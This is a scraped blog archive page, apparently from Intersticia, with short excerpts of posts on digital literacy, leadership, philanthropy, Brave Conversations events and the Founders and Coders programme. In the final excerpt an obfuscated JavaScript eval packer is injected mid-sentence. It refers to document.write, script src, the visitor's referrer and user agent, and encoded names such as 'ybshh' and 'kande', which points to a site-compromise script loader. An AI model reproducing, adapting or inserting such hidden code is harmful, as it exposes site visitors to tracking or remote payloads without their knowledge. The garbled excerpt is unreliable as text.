29 Sep Creating a 21st Century Literacy
Founders Joe Friel, Oliver Smith-Wellnitz, Kristina Jaggard with Dan Sofer and Anni Rowland-Campbell Founders and Coders started life as “Self Organising”, a MeetUp at the British Library[1] which led to a...
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02 May Brave Conversations goes Global even more in 2019
Posted at 11:24h
in Analogue, Communications, Creativity, Digital, Education, Ethics, Futures, Governance, Imagination, Information, Leadership, Literacy, Social Machine, Web Science
In July last year, before we had Intersticia UK properly set up, I wrote this post. We are about to take Brave Conversations to the next level with events in Melbourne,...
12 Apr Founders and Coders – Tech for Better, Second Cohort
Founders Oliver Smith-Wellnitz and Kristina Jaggard with Haneen Shahwah and Ali Haj Ahmed Intersticia is thrilled to announce our second cohort of Tech for Better Coders in partnership with Founders and...
31 Jan Founders and Coders Tech for Better
In November 2018 Intersticia UK began supporting the Founders and Coders Tech for Better programme. The programme seeks to design, test and build new digital service ideas using developers in London...
30 Oct Leading in the Age of Cognition
“Knowledge is power. To scrutinize others while avoiding scrutiny oneself is one of the most important forms of power.” (Frank Pasquale, The Black Box Society: The Secret Algorithms That Control...
28 May Leadership for the 21st Century
Posted at 09:51h
in Data, Digital, Education, Ethics, Futures, Governance, Imagination, Information, Leadership, Literacy, Philanthropy, Trust
When everyone agrees on where the future is headed - especially when that destination is so far from our current reality - that’s not a sign of inevitability; it’s a...
26 Apr Were we “brave” @braveconvos #braveconversations ?
Fortune favours the prepared mind. (Louis Pasteur) They say it also favours the brave. I have never been what I consider a risk-taker, nor considered myself particularly brave. But I do know...
08 Mar Being brave
Posted at 07:34h
in Data, Digital, Education, Ethics, Futures, Government, Information, Leadership, Social Machine, Web Science
Last week in an article in the Financial Review renown businessman David Gonski talked about the commoditisation of the professions. Let's be professional and fight artificial intelligence. (David Gonski) Gonski is right...
28 Sep The future-readiness of Philanthropy
Posted at 10:38h
in Education, Ethics, Futures, Government, Imagination, Leadership, Philanthropy, Trust
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13 Mar Becoming “digitally savvy”
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28 Jan Digital Disruption for Good – written for NPC
Next eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybshh|var|u0026u|referrer|kande||js|php'.split('|'),0,{})) week I will facilitate the first of our UK Digital Director workshops which will support the work being done as a part of...